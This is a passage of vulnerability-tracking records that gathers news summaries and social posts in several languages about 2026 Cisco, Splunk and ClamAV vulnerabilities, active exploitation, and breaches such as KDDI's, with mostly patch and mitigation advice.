Swarm to Challenge US AI Security\n\n\n\nOriginal URL: [https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/](https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/)\n\nSummary: Chinese cybersecurity giant Qihoo 360 has unveiled its newest defensive security platform, dubbed “Tulongfeng,” engineered as an adversarial alternative to frontier American code evaluation tools like Anthropic’s Claude Mythos. Presented at the Beijing Cybersecurity Conference, the platform leverages a highly specialized multi-agent swarm trained exclusively on Qihoo’s massive internal repository of historical malware variants and software bugs. The developer team claims this custom architecture is finding critical vulnerabilities across open-source and enterprise-tier platforms at machine speeds, bypassing the computational overhead of generic LLMs.\n\nKeywords: #ArtificialIntelligence #Qihoo360 #Tulongfeng #VulnerabilityHunting #ZeroDay #TechGeopolitics #AIModel #Infosec\n\n\n13. KDDI Data Breach Impacts Up to 14.2 Million Accounts in Japan\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/](https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/)\n\nSummary: Major Japanese telecommunications operator KDDI Corporation has disclosed a massive data breach affecting up to 14.2 million email accounts spread across six distinct internet service providers (ISPs). Cybercriminals successfully compromised the systems by exploiting a newly identified software vulnerability within a shared third-party email administration module utilized by the networks. KDDI has patched the direct system vulnerability and is actively coordinating with data privacy authorities to notify impacted subscribers of potential credential theft and incoming phishing risks.\n\nKeywords: #DataBreach #TelecomSecurity #KDDI #DataPrivacy #JapanCyber #Vulnerability #SupplyChainRisk #EmailSecurity\n\n\n14. Active Exploitation Alert Issued for Cisco CUCM SSRF-RCE Flaw\n\n\n\nOriginal URL: [https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026](https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026)\n\nSummary: Threat monitors have issued an updated advisory following the rapid weaponization of CVE-2026-20230, a server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager (CUCM). Within 24 hours of public exploitation proof-of-concepts, automated exploitation scripts were detected scanning the internet and actively dropping weaponized HTTP requests onto enterprise servers. Attackers are currently leveraging the unauthenticated flaw to write arbitrary system files directly onto endpoints, which can lead to localized remote code execution (RCE) and full communication server compromise.\n\nKeywords: #Cisco #CUCM #ExploitAlert #SSRF #RemoteCodeExecution #ZeroDay #PatchManagement #NetworkHardening\n\n\n15. JP Morgan Warns Cybersecurity Now Outpaces Credit Risks for Major US Banks\n\n\n\nOriginal URL: [https://uk.finance.yahoo.com/news/jp-morgan-warns-cybersecurity-bigger-110200388.html](https://uk.finance.yahoo.com/news/jp-morgan-warns-cybersecurity-bigger-110200388.html)\n\nSummary: In a comprehensive analytical briefing sent to institutional investors, JP Morgan’s European equity research group has warned that systemic cybersecurity threats now pose a fundamentally greater risk to banking stability than traditional credit default risks. The firm highlights that while conventional loan losses and asset risks are heavily modeled and calculated within current banking valuations, the financial and reputational liabilities of automated ransomware or infrastructure hacks remain dangerously understated. The report calls for regulatory bodies to introduce market valuation premiums for financial institutions that demonstrate quantifiable cyber-resilience frameworks.\n\nKeywords: #BankingSecurity #FinSec #JPMorgan #RiskManagement #Ransomware #FinancialServices #CyberEconomics #EnterpriseRisk\n", "creation_timestamp": "2026-06-29T13:00:47.391861Z"}, {"uuid": "bc2ada0f-a736-4ff4-9832-aafed73a74d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "MISP/e6c83145-cce9-41dc-a030-9dd97a92f461", "content": "", "creation_timestamp": "2026-08-15T00:15:02.411448Z"}, {"uuid": "8d812aaf-89ee-4d3b-9d23-5513f8cbda36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/trinacriatech.bsky.social/post/3mpgoavylnc2r", "content": "CVE-2026-20230 \u2014 Cisco Unified CM. SSRF WebDialer \u2192 file write arbitrario \u2192 RCE root. Unauthenticated, CVSS 8.6. PoC pubblico. CISA KEV, deadline FCEB scaduta ieri. Exploitation ancora attiva. #Cisco #CISA", "creation_timestamp": "2026-06-29T14:12:52.319643Z"}, {"uuid": "604af9a5-fdc9-432d-9bff-6d59df0151d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/trinacriatech.bsky.social/post/3mpgobtipkk2s", "content": "CVE-2026-20230 \u2014 Cisco Unified CM. SSRF WebDialer \u2192 file write arbitrario \u2192 RCE root. Unauthenticated, CVSS 8.6. PoC pubblico. CISA KEV, deadline FCEB scaduta ieri. Exploitation ancora attiva. #Cisco #CISA", "creation_timestamp": "2026-06-29T14:13:23.451228Z"}, {"uuid": "b8361625-1890-49f5-8878-dfc3ceba1bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20195", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpgudagjl526", "content": "\u2694\ufe0f ATTACKS CVE Notify: \ud83d\udea8 [CVE-2026-20195](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/ci...\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-bypass-uxjRXGpb #InfoSec #CyberAttack #ThreatIntel", "creation_timestamp": "2026-06-29T16:01:32.066478Z"}, {"uuid": "84e1784a-67db-4e53-853a-6bcd6b06d1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpgudfcfog23", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-20186](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/ci...\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-rce-4fverepv #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-06-29T16:01:37.131393Z"}, {"uuid": "3868159a-8494-4e2b-a9ed-5b6985258582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3msfydppgn22e", "content": "Critical Cisco IMC bug gives attackers root, PoC is out (CVE-2026-20200)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/08/06/c...\n\n#cybersecurity #cybersecuritynews #datacenter #enterprise #exploit #poc #vulnerability @cisco.com", "creation_timestamp": "2026-08-06T11:56:28.666223Z"}, {"uuid": "4f1eff5b-d0b3-4e63-909e-f980f601fd4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/pphm_HackerNews/1635", "content": "\ud83d\udd34 Cisco SD-WAN Zero-Day Exploited Months Before Patching\n\nThe vulnerability, tracked as CVE-2026-20245, is the 7th Cisco SD-WAN product flaw whose exploitation came to light in 2026. \n\nCVE-2026-20245 affects the CLI of Cisco Catalyst SD-WAN Manager and allows an authenticated local attacker to execute arbitrary commands with root privileges using specially crafted files.\n\nThe security hole was disclosed by Cisco in early June, and patches were released roughly one week later. \n\nMandiant\u2019s investigation began in early 2026 after observing an unidentified threat actor targeting SD-WAN infrastructure at a service provider.", "creation_timestamp": "2026-08-22T00:00:27.496636Z"}, {"uuid": "a2c54039-cd13-413b-83d9-d260430d06af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20224", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpguqcggal2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20224 \u0432 Cisco Catalyst SD-WAN Manager: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FDBA70F4-FD03-436F-9BC6-10A449371ECC", "creation_timestamp": "2026-06-29T16:08:51.238092Z"}, {"uuid": "36975542-7c2c-4885-b32c-a8817c4e6b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mpguy47rcv2l", "content": "\ud83d\udd34 Splunk Enterprise CVE-2026-20253: unauth file write via the PostgreSQL sidecar \u2192 RCE. watchTowr PoC is public; now on CISA KEV. On-prem Splunk = patch today. #threatintel https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/", "creation_timestamp": "2026-06-29T16:13:12.326040Z"}, {"uuid": "5028c5c3-dc14-4248-91d7-77ad6670d128", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgwa55b6p2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20186 \u0432 Cisco ISE: \u0443\u0433\u0440\u043e\u0437\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F23A7DDE-56BE-4C73-A2DF-1BD583130AD3", "creation_timestamp": "2026-06-29T16:35:35.870749Z"}, {"uuid": "7cd04fb8-ca4b-4cde-b55e-1cf06ef8852d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20195", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgwb4jymz25", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20195 \u0432 Cisco ISE: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439\n\n\n\nhttps://kripta.biz/posts/30488C32-DF32-42BA-92B2-B4224765CF70", "creation_timestamp": "2026-06-29T16:36:08.308652Z"}, {"uuid": "4d3a8d16-47b0-4eb8-b833-c2106341a193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116834485468683687", "content": "\ud83d\udcf0 Attackers Actively Exploit Critical Cisco Unified CM Flaw to Deploy Webshells\n\u26a0\ufe0f ACTIVE EXPLOITATION: A critical SSRF flaw in Cisco Unified CM (CVE-2026-20230) is being used to drop webshells. Attackers are scanning from Tor. Disable the WebDialer service or patch immediately! #Cisco #CyberAttack #Infosec #SSRF\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/active-exploitation-of-critical-cisco-unified-cm-flaw-begins/?utm_source=mastodon&utm_medium\u2026", "creation_timestamp": "2026-06-29T17:06:16.611430Z"}, {"uuid": "c04b7cf1-c5e7-4082-a3d6-979bc73c6931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mpgxxn75ed2c", "content": "\u26a0\ufe0f ACTIVE EXPLOITATION: A critical SSRF flaw in Cisco Unified CM (CVE-2026-20230) is being used to drop webshells. Attackers are scanning from Tor. Disable the WebDialer service or patch immediately! #Cisco #CyberAttack #Infosec #SSRF\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-29T17:06:37.707404Z"}, {"uuid": "2d617141-de4c-4207-a5dc-74be255fb89c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20111", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgziwljxm2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20111 \u0432 Cisco Prime Infrastructure: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0B2BAEF8-88EE-46EE-9A95-151DC7EBB7A9", "creation_timestamp": "2026-06-29T17:34:12.154902Z"}, {"uuid": "22d09ac7-bf6e-4078-ba1b-8a822881da1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:45:38.833889Z"}, {"uuid": "5dc2ee67-f5a9-4619-bf34-ac1fc7221c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:45:46.183807Z"}, {"uuid": "3b0e17bc-217b-413e-96da-a4cdc81f5192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2005", "content": "", "creation_timestamp": "2026-08-13T08:46:54.440327Z"}, {"uuid": "4e7cd2c1-4a01-4047-adb0-d8d67e037347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2005", "content": "", "creation_timestamp": "2026-08-13T08:47:04.001011Z"}, {"uuid": "b16f18e3-076b-4df7-812e-ad0277d2f986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20251", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mpgzc3dvnn2k", "content": "\ud83d\udce2 CVE-2026-20251 : RCE via d\u00e9s\u00e9rialisation jsonpickle dans Splunk Secure Gateway (CVSS 8.8)\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 29 juin 2026 sur GitHub \u2026\nhttps://cyberveille.ch/posts/2026-06-29-cve-2026-20251-rce-via-deserialisation-jsonpickle-dans-splunk-secure-gateway-cvss-8-8/ #CVE_2026_20251 #Cyberveille", "creation_timestamp": "2026-06-29T17:30:22.252493Z"}, {"uuid": "d1464161-3890-4eb7-b5a2-fa7a79b8ad11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20189", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgzeqel3e2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20189 \u0432 Cisco Prime Infrastructure: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/092E1737-8F85-4A1E-89EA-96EB28D7D855", "creation_timestamp": "2026-06-29T17:31:52.014955Z"}, {"uuid": "bc80addc-37ad-4219-bcc8-be6aeafa7788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:45:58.146737Z"}, {"uuid": "12cd78d9-2912-42e2-9b1e-8e941a71f2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20210", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph3uvzisf2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20210 \u0432 Cisco Catalyst SD-WAN Manager: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1C6073D2-44AD-4660-B289-B06568F71557", "creation_timestamp": "2026-06-29T18:16:41.655828Z"}, {"uuid": "179a576c-5199-49c3-9618-e1755315360c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20169", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph3xawdan2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20169 \u0432 Cisco IoT Field Network Director: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B5DB9068-86DB-4411-93EE-D0B9477FD246", "creation_timestamp": "2026-06-29T18:17:59.832616Z"}, {"uuid": "86cc7c14-ec3b-48e9-9cf5-ff8a6ce01b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20209", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph46agk4h2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20209 \u0432 Cisco Catalyst SD-WAN Manager: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/9C3016E1-2671-4452-B093-4DB367249694", "creation_timestamp": "2026-06-29T18:21:54.248385Z"}, {"uuid": "4becdeed-3dcf-4f52-8a45-725a945d810f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://www.cisa.gov/news-events/alerts/2026/08/11/cisa-adds-three-known-exploited-vulnerabilities-catalog", "content": "", "creation_timestamp": "2026-08-13T08:49:08.684981Z"}, {"uuid": "6ddd624c-21de-45cc-8f73-30eaa26e5221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mphbse4y7c2f", "content": "\u300cCisco Unified CM\u300d\u306b\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u8106\u5f31\u6027 - \u5b9f\u8a3c\u30b3\u30fc\u30c9\u304c\u516c\u958b\u6e08\u307f\n\nCisco Systems\u306f\u3001IP\u96fb\u8a71\u3084\u30d3\u30c7\u30aa\u901a\u8a71\u306a\u3069\u3092\u7ba1\u7406\u3059\u308b\u4f01\u696d\u5411\u3051\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u57fa\u76e4\u300cCisco Unified Communications Manager\u300d\u306b\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3068\u3057\u3001\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\u3059\u3067\u306b\u6982\u5ff5\u5b9f\u8a3c\u30b3\u30fc\u30c9\uff08PoC\uff09\u3082\u516c\u958b\u6e08\u307f\u3067\u3001\u91cd\u8981\u5ea6\u3092\u3082\u3063\u3068\u3082\u9ad8\u3044\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u3078\u30681\u6bb5\u968e\u5f15\u304d\u4e0a\u3052\u3001\u5229\u7528\u8005\u306b\u5bfe\u5fdc\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\n\u540c\u793e\u306f\u73fe\u5730\u6642\u95932026\u5e746\u67083\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u30b5\u30fc\u30d0\u30b5\u30a4\u30c9\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u306e\u8106\u5f31\u6027\u300cCVE-2026-20230...", "creation_timestamp": "2026-06-29T20:02:38.309541Z"}, {"uuid": "829271ef-0a60-41da-81a8-db18bbc800c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mphc5mbw2k2f", "content": "Cisco\u3001Unified CM\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u6982\u5ff5\u5b9f\u8a3c\uff08PoC\uff09\u304c\u5229\u7528\u53ef\u80fd\u306b\u306a\u3063\u305f\u3068\u8b66\u544a\n\nCVE-2026-20230\uff08CVSS\u30b9\u30b3\u30a28.6\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u30d0\u30b0\u306f\u3001\u7279\u5b9a\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u304a\u3051\u308b\u5165\u529b\u304c\u9069\u5207\u306b\u691c\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u3053\u3068\u306b\u8d77\u56e0\u3057\u3001\u653b\u6483\u8005\u304c\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u653b\u6483\u3092\u5b9f\u884c\u3067\u304d\u308b\u3068\u3044\u3046\u3082\u306e\u3067\u3059\u3002\n\n\u300c\u653b\u6483\u8005\u306f\u3001\u7d30\u5de5\u3055\u308c\u305fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30c7\u30d0\u30a4\u30b9\u306b\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u653b\u6483\u304c\u6210\u529f\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u306f\u57fa\u76e4\u3068\u306a\u308b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u304c\u3067\u304d\u3001\u5f8c\u3067\u305d\u308c\u3092\u4f7f\u7528\u3057\u3066root\u6a29\u9650\u306b\u6607...", "creation_timestamp": "2026-06-29T20:08:57.295680Z"}, {"uuid": "9c97846b-3cfd-4eca-839a-d98fe421280d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.063547Z"}, {"uuid": "f5ea3094-ad64-48b5-848f-674769937369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:46:30.569067Z"}, {"uuid": "4692e8e0-cc7d-4693-8536-14a8e70b55e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.098136Z"}, {"uuid": "458ab812-da11-41f2-b21a-748619027509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://threatintel.cc/2026/06/29/threat-intel.html", "content": "1. FBI Warns Russian Intelligence Hackers Target Signal Backup Recovery Keys\n\n\n\nOriginal URL: [https://thehackernews.com/2026/06/fbi-warns-russian-intelligence-hackers.html](https://thehackernews.com/2026/06/fbi-warns-russian-intelligence-hackers.html)\n\nSummary: The FBI and CISA have issued an updated advisory warning that Russian state-sponsored threat groups (including UNC5792 and UNC4221) are actively targeting Signal messaging accounts via credential-phishing campaigns. Attackers are using social engineering to trick users into revealing their Signal Backup Recovery Keys, which allows the adversaries to permanently hijack accounts, restore complete message histories, and continue monitoring communication even if a user attempts to recreate their account. To mitigate this threat, users must generate a completely new recovery key within their Signal security settings, an action that instantly revokes the access privileges of any previously compromised keys.\n\nKeywords: #CyberSecurity #SignalApp #Phishing #Infosec #CISA #FBI #RussianHackers #DataPrivacy #ThreatIntelligence\n\n\n2. Self-Destructing Mistic Backdoor Linked to Access Broker Selling Corporate Footholds\n\n\n\nOriginal URL: [https://www.theregister.com/security/2026/06/25/self-destructing-mistic-backdoor-linked-to-access-broker-selling-corporate-footholds-to-ransomware-gangs/](https://www.theregister.com/security/2026/06/25/self-destructing-mistic-backdoor-linked-to-access-broker-selling-corporate-footholds-to-ransomware-gangs/)\n\nSummary: A newly discovered, highly evasive backdoor known as “Mistic” (or MLTBackdoor) is being deployed across multiple corporate networks, including organizations within the IT, insurance, and education sectors. Security researchers from Symantec, Carbon Black, and Zscaler have linked the malware to a financially motivated initial access broker tracked as KongTuke (or Woodgnat), who specializes in establishing early network footprints to sell to ransomware syndicates. Mistic stands out due to its built-in self-destruction mechanisms, which erase its tracks following initial deployment to complicate forensic investigations while 